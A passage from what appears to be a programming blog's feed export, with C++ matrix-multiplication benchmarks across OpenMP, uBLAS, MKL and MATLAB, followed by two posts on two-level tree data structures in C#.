
delete A;
delete B;
delete C;
</pre>
<h4>OpenMP With Two Dimensional Arrays</h4>
<p>Using OpenMP, we are able to multiple threads via the #pragma omp directives. For the simple algorithm we used here, the speed increase is almost proportional to the number of available cores within the system.</p>
<pre class="brush: cpp;">
...
#pragma omp parallel for shared(a,b,c)
for (long i=0; i&lt;matrix_size; i++)
{
    for (long j = 0; j &lt; matrix_size; j++)
    {
        float sum = 0;
        for (long k = 0; k &lt; matrix_size; k++)
        {
            sum +=a[i][k]*b[k][j];
        }
        c[i][j] = sum;
    }
}
...
</pre>
<h4>OpenMP With One Dimensional Arrays</h4>
<p>Cache locality is poor using the simple algorithm I showed above. The performance can be easily improved however by improving the locality of the references. One way to achieve better cache locality is to use one dimensional array instead of two dimensional array and as you will see later, the performance of the following implementation has as much as 50% speed gains over the previous OpenMP implementation using two dimensional arrays.</p>
<pre class="brush: cpp;">
float *a, *b, *c;

a = new float[matrix_size * matrix_size];
b = new float[matrix_size * matrix_size];
c = new float[matrix_size * matrix_size];

for (long i=0; i&lt;matrix_size * matrix_size; i++)
{
    a[i]=rand();
    b[i] = rand();
    c[i] = 0;
}

#pragma omp parallel for shared(a,b,c)
for (long i=0; i&lt;matrix_size; i++)
{
    for (long j = 0; j &lt; matrix_size; j++)
    {
        long idx = i * matrix_size;
        float sum = 0;
        for (long k = 0; k &lt; matrix_size; k++)
        {
            sum +=a[idx + k]*b[k * matrix_size +j];
        }
        c[idx + j] = sum;
    }
}

delete a;
delete b;
delete c;
</pre>
<h4>Boost Library uBLAS (Single Threaded)</h4>
<p>Boost library provides a convenient way to perform matrix multiplication. However, the performance is very poor compared to all other approaches mentioned in this article. The performance of the uBLAS implementation is largely on par with that using C# (see benchmarks towards the end of the article). Intel&#8217;s Math Kernal Library (MKL) 10.1 does provide functionality to dynamically convert code using uBLAS syntax into highly efficient code using MKL by the inclusion of header file mkl_boost_ublas_matrix_prod.hpp. I have not tried it myself though, but the performance should be comparible to algorithms using the native MKL BLAS interface.</p>
<p>By default (without using MKL&#8217;s uBLAS capability) though, uBLAS is single threaded and due to its poor performance and I would strongly suggest avoid using uBLAS in any high performance scientific applications.</p>
<pre class="brush: cpp;">
matrix&lt;float&gt; A, B, C;

A.resize(matrix_size,matrix_size);
B.resize(matrix_size,matrix_size);

for (int i = 0; i &lt; matrix_size; ++ i)
{
    for (int j = 0; j &lt; matrix_size; ++ j)
    {
        A(i, j) = rand();
        B(i, j) = rand();
    }
}

C =prod(A, B);
</pre>
<h4>Intel Math Kernel Library (MKL) cBLAS</h4>
<p>Intel&#8217;s Math Kernel Library (MKL) is highly optimized on Intel&#8217;s microprocessor platforms. Given that Intel developed this library for its own processor platforms we can expect significant performance gains. I am still surprised at how fast the code runs using cBLAS though. In fact, it was so fast that I doubted the validity of the result at first. But after checking the results against those obtained by other means, those doubts were putting into rest.</p>
<p>The cBLAS matrix multiplication uses blocked matrix multiplication method which further improves cache locality. And it is more than thirty times faster then the fastest OMP 1D algorithm listed above! Another benefit is that by default it automatically detects the number of CPUs/cores available and uses all available threads. This behavior greatly simplifies the code since threading is handled transparently within the library.</p>
<pre class="brush: cpp;">
float *A, *B, *C;

A = new float[matrix_size * matrix_size];
B = new float[matrix_size * matrix_size];
C = new float[matrix_size * matrix_size];

for (int i = 0; i &lt; matrix_size * matrix_size; i++)
{
    A[i] = rand();
    B[i] = rand();
    C[i] = 0;
}

cblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans,
    matrix_size,  matrix_size,  matrix_size, 1.0, A,matrix_size,
    B, matrix_size, 0.0, C, matrix_size);
</pre>
<h4>MATLAB (Single Threaded)</h4>
<p>MATLAB is known for its efficient algorithms. In fact it uses BLAS libraries for its own matrix calculation routines. The version of MATLAB I have is a little dated (7.0.1), but nevertheless it would be interesting to see how its performance compares with that of latest MKL&#8217;s. MATLAB 7 is single threaded, and given the same matrix size, it runs roughly three times slower than the fastest MKL routine listed above (per core).</p>
<pre>    a = rand(i,i);
    b = rand(i,i);
    tic;
    c = a*b;
    t = toc</pre>
<p>
The following table shows the results I obtained by running the code listed above. The results are time in seconds. (note, S.TH means single threaded and M.TH means multi-threaded).</p>
<table border="0" cellspacing="0" frame="void" rules="none">
<colgroup>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
</colgroup>
<tbody>
<tr>
<td style="border: 1px solid #000000;" width="116" height="17" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">Size/Algorithm</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">uBLAS S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">STD S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">OMP 2D</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">OMP 1D</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">MATLAB S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">cBLAS M.TH</span></strong></td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">500&#215;500</span></strong></td>
<td style="border: 1px solid #000000;" align="right">3.2435</td>
<td style="border: 1px solid #000000;" align="right">0.5253</td>
<td style="border: 1px solid #000000;" align="right">0.1939</td>
<td style="border: 1px solid #000000;" align="right">0.0536</td>
<td style="border: 1px solid #000000;" align="right">0.0810</td>
<td style="border: 1px solid #000000;" align="right">0.0206</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">600&#215;600</span></strong></td>
<td style="border: 1px solid #000000;" align="right">5.7854</td>
<td style="border: 1px solid #000000;" align="right">0.9349</td>
<td style="border: 1px solid #000000;" align="right">0.3223</td>
<td style="border: 1px solid #000000;" align="right">0.1655</td>
<td style="border: 1px solid #000000;" align="right">0.1410</td>
<td style="border: 1px solid #000000;" align="right">0.0093</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">700&#215;700</span></strong></td>
<td style="border: 1px solid #000000;" align="right">9.2292</td>
<td style="border: 1px solid #000000;" align="right">1.2928</td>
<td style="border: 1px solid #000000;" align="right">0.3529</td>
<td style="border: 1px solid #000000;" align="right">0.2797</td>
<td style="border: 1px solid #000000;" align="right">0.2230</td>
<td style="border: 1px solid #000000;" align="right">0.0122</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">800&#215;800</span></strong></td>
<td style="border: 1px solid #000000;" align="right">13.7711</td>
<td style="border: 1px solid #000000;" align="right">2.3746</td>
<td style="border: 1px solid #000000;" align="right">0.7259</td>
<td style="border: 1px solid #000000;" align="right">0.4135</td>
<td style="border: 1px solid #000000;" align="right">0.3320</td>
<td style="border: 1px solid #000000;" align="right">0.0310</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">900&#215;900</span></strong></td>
<td style="border: 1px solid #000000;" align="right">20.3245</td>
<td style="border: 1px solid #000000;" align="right">3.4983</td>
<td style="border: 1px solid #000000;" align="right">1.0146</td>
<td style="border: 1px solid #000000;" align="right">0.7449</td>
<td style="border: 1px solid #000000;" align="right">0.4740</td>
<td style="border: 1px solid #000000;" align="right">0.0306</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1000&#215;1000</span></strong></td>
<td style="border: 1px solid #000000;" align="right">28.8345</td>
<td style="border: 1px solid #000000;" align="right">3.4983</td>
<td style="border: 1px solid #000000;" align="right">1.4748</td>
<td style="border: 1px solid #000000;" align="right">1.0548</td>
<td style="border: 1px solid #000000;" align="right">0.6530</td>
<td style="border: 1px solid #000000;" align="right">0.0700</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1100&#215;1100</span></strong></td>
<td style="border: 1px solid #000000;" align="right">38.2545</td>
<td style="border: 1px solid #000000;" align="right">7.0240</td>
<td style="border: 1px solid #000000;" align="right">1.9383</td>
<td style="border: 1px solid #000000;" align="right">1.6257</td>
<td style="border: 1px solid #000000;" align="right">0.8620</td>
<td style="border: 1px solid #000000;" align="right">0.1250</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1200&#215;1200</span></strong></td>
<td style="border: 1px solid #000000;" align="right">50.4964</td>
<td style="border: 1px solid #000000;" align="right">9.9319</td>
<td style="border: 1px solid #000000;" align="right">2.8411</td>
<td style="border: 1px solid #000000;" align="right">2.1215</td>
<td style="border: 1px solid #000000;" align="right">1.1170</td>
<td style="border: 1px solid #000000;" align="right">0.0440</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1300&#215;1300</span></strong></td>
<td style="border: 1px solid #000000;" align="right">64.5064</td>
<td style="border: 1px solid #000000;" align="right">12.8344</td>
<td style="border: 1px solid #000000;" align="right">3.6277</td>
<td style="border: 1px solid #000000;" align="right">2.9720</td>
<td style="border: 1px solid #000000;" align="right">1.4250</td>
<td style="border: 1px solid #000000;" align="right">0.0440</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1400&#215;1400</span></strong></td>
<td style="border: 1px solid #000000;" align="right">81.1826</td>
<td style="border: 1px solid #000000;" align="right">17.1119</td>
<td style="border: 1px solid #000000;" align="right">4.8309</td>
<td style="border: 1px solid #000000;" align="right">3.5977</td>
<td style="border: 1px solid #000000;" align="right">1.7760</td>
<td style="border: 1px solid #000000;" align="right">0.0938</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1500&#215;1500</span></strong></td>
<td style="border: 1px solid #000000;" align="right">100.1330</td>
<td style="border: 1px solid #000000;" align="right">21.0622</td>
<td style="border: 1px solid #000000;" align="right">6.1689</td>
<td style="border: 1px solid #000000;" align="right">4.8022</td>
<td style="border: 1px solid #000000;" align="right">2.1870</td>
<td style="border: 1px solid #000000;" align="right">0.1111</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1600&#215;1600</span></strong></td>
<td style="border: 1px solid #000000;" align="right">120.3400</td>
<td style="border: 1px solid #000000;" align="right">26.4316</td>
<td style="border: 1px solid #000000;" align="right">7.3189</td>
<td style="border: 1px solid #000000;" align="right">5.0451</td>
<td style="border: 1px solid #000000;" align="right">2.6490</td>
<td style="border: 1px solid #000000;" align="right">0.1699</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1700&#215;1700</span></strong></td>
<td style="border: 1px solid #000000;" align="right">145.8550</td>
<td style="border: 1px solid #000000;" align="right">31.2706</td>
<td style="border: 1px solid #000000;" align="right">8.7525</td>
<td style="border: 1px solid #000000;" align="right">6.8915</td>
<td style="border: 1px solid #000000;" align="right">3.1870</td>
<td style="border: 1px solid #000000;" align="right">0.1452</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1800&#215;1800</span></strong></td>
<td style="border: 1px solid #000000;" align="right">174.6860</td>
<td style="border: 1px solid #000000;" align="right">38.9293</td>
<td style="border: 1px solid #000000;" align="right">11.1060</td>
<td style="border: 1px solid #000000;" align="right">8.1316</td>
<td style="border: 1px solid #000000;" align="right">3.7940</td>
<td style="border: 1px solid #000000;" align="right">0.1989</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1900&#215;1900</span></strong></td>
<td style="border: 1px solid #000000;" align="right">206.0520</td>
<td style="border: 1px solid #000000;" align="right">45.8589</td>
<td style="border: 1px solid #000000;" align="right">13.0832</td>
<td style="border: 1px solid #000000;" align="right">9.9527</td>
<td style="border: 1px solid #000000;" align="right">4.4450</td>
<td style="border: 1px solid #000000;" align="right">0.2725</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">2000&#215;2000</span></strong></td>
<td style="border: 1px solid #000000;" align="right">240.7820</td>
<td style="border: 1px solid #000000;" align="right">55.4392</td>
<td style="border: 1px solid #000000;" align="right">16.0542</td>
<td style="border: 1px solid #000000;" align="right">11.0314</td>
<td style="border: 1px solid #000000;" align="right">5.1820</td>
<td style="border: 1px solid #000000;" align="right">0.3359</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">
The following figure shows the results. Since uBLAS and single threaded matrix multiplications took significantly longer to compute, I did not include them in the figure below.
</p>
<p style="text-align: center;">
<a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/linearplot.png"><img class="size-full wp-image-645" title="Matrix Multiplication (Linear)" src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/linearplot.png" alt="Matrix Multiplication (Linear)" width="560" height="420" /></a></p>
<p style="text-align: left;">
The following figure shows the same data but uses log-scale Y axis instead so that all the data can show up nicely. You can get a sense of various algorithms&#8217; efficiencies here:</p>
<p style="text-align: center;">
<a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/logplot.png"><img class="alignnone size-full wp-image-646"  title="Matrix Multiplication (Log)" src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/logplot.png" alt="Matrix Multiplication (Log)" width="560" height="420" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Two Level Tree and Its Applications — II</title>
		<link>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/</link>
		<comments>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/#comments</comments>
		<pubDate>Tue, 23 Dec 2008 00:37:27 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=480</guid>
		<description><![CDATA[In my previous post, I discussed how to merge and split a two level tree. Before moving on to discuss its applications, let us take a look at the output of the sample program I gave before.&#160;

&#160;&#160;&#160; &#160;&#160;&#160; static void Main(string[] args)
&#160;&#160;&#160; &#160;&#160;&#160; {
&#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; TreeNode n1 = new TreeNode(&#34;t1&#34;);
&#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; TreeNode n2 [...]]]></description>
			<content:encoded><![CDATA[<p>In my <a href="/2008/12/21/two-level-tree-and-its-applications-i/">previous post</a>, I discussed how to merge and split a two level tree. Before moving on to discuss its applications, let us take a look at the output of the sample program I gave before.&nbsp;<span id="more-480"></span></p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">static</span> <span style="color: blue; font-weight: bold;">void</span> Main(<span style="color: blue; font-weight: bold;">string</span>[] args)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t1&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t2&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n3 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t3&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n4 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t4&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n5 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t5&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n6 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t6&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> n1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n2)<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n3);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t1);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> n4<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n5)<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n6);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t2);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t3 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(t2);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t3);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t4 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t3<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Remove(n4);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t4);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t5 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t4<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Remove(n1);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t5);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ReadKey();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>Here is the output from the main routine:</p>
<blockquote>
<div><font face="Courier New">(t1);t2;t3;<br />
(t4);t5;t6;<br />
(t1);t2;t3;t4;t5;t6;<br />
(t1);t2;t3;t5;t6;<br />
(t2);t3;t5;t6;</font></div>
</blockquote>
<p>As you can see, tree t1 is formed by adding nodes t2 and t3 and the resulting tree is a two-level tree with t1 being the root. Similarly, t4 is formed by adding nodes t5 and t6. We then combined this two tree we just created, note how node t4 changed to a leaf in order to satisfy the two level property. In the next two output lines, we removed nodes from the two level tree. Note the last line: when we removed the root node, a leaf node (t2) is chosen as the new root of the tree.</p>
<p>Two level tree is extremely useful in capturing relationships in real world applications. For instance, if a is related to b and c, and d is related to e and f. Now we have two sets of distinct relationships (both are two level trees):</p>
<blockquote>
<div><font face="Courier New">(a);b;c</font></div>
<div><font face="Courier New">(d);e;f</font></div>
</blockquote>
<p>Now suppose that we also know c is related to e, what would the new relationship be? We know that a, b, c, d, e, f are then all related. But how do we capture this kind of relationships programmatically? As it turned out, we can use two level trees. In the example we just discussed, the relationship between e and c are captured via combining the two trees. And thus we get the following two level tree:</p>
<blockquote>
<div><font face="Courier New">(a);b;c;d;e;f</font></div>
</blockquote>
<p>Since related items are not necessarily limited to just tree roots (e.g. c and e are both leafs), we needed to be able to refer to a tree by either its root or its nodes and this is why in my <a href="/2008/12/21/two-level-tree-and-its-applications-i/">previous post</a> I mentioned that it would be a lot easier if we allowed referencing a tree by either the root node or its leafs.</p>
<p>One benefit of using a two level tree to capture relationships is that finding out the related items is a constant time operation since all of the related items are in a two level tree and no further tree traversal is required. In a large data set, this algorithm becomes very effective since no recursion is required.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two Level Tree and Its Applications &#8212; I</title>
		<link>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/</link>
		<comments>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 02:19:59 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=474</guid>
		<description><![CDATA[A two level tree is a simple tree data structure. Unlike in a typical tree where the tree depths could be arbitrary, a two level tree has only two levels as its name suggests. Two level tree is also equivalent to a star.The following graph illustrates what a two level tree looks like:

A two level [...]]]></description>
			<content:encoded><![CDATA[<p>A two level tree is a simple <a href="http://en.wikipedia.org/wiki/Tree_(data_structure)">tree data structure</a>. Unlike in a typical tree where the tree depths could be arbitrary, a two level tree has only two levels as its name suggests. Two level tree is also equivalent to a <a href="http://en.wikipedia.org/wiki/Star_(graph_theory)">star</a>.<span id="more-474"></span>The following graph illustrates what a two level tree looks like:</p>
<p align="center"><img alt="Two Level Tree" src="/blog/wp-content/uploads/2008/12/twoleveltree1.png" /></p>
<p align="center">A two level tree</p>
<p align="left">There is no internal nodes in a two level tree. A two level tree has only a root node and a set of leaf nodes.</p>
<p align="left">There are two types basic of operations we can perform on a two level tree: we can Add a two level tree to another two level tree and thus form a new two level tree or we can remove a node or a set of nodes from a two level tree.</p>
<p align="left">To add a two level tree to another two level tree, we need to ensure that the combined tree remains a two level tree. when we say adding a tree, it means adding the &quot;whole tree&quot;. But in practice, we really do not care which part of the tree we refer to. For instance, the above tree can be referred to by A (the root node), or by any of the four children (e.g. C). Thus there are four scenarios when adding two trees together, depending on how the tree is referenced. The following graph illustrate this:</p>
<p align="center"><img alt="Merging Two Two Level Trees" src="/blog/wp-content/uploads/2008/12/twoleveltree2.png" /></p>
<p align="center">Merging Two Two Level Trees</p>
<p align="left">The above four different scenarios depend on how the tree is referenced (the shaded letters). We could mandate that a tree referenced by its root node and thus simplify the merging algorithm, but you will see in a later post that this approach adds more flexibility. The following code (C#) shows how the above steps are accomplished:&nbsp;</p>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New"><span style="font-weight: bold; color: blue">namespace</span> TwoLevelTree</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">{</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">class</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: blue">string</span> _ID <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> _parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span> _children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">string</span> ID</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _ID; }</div>
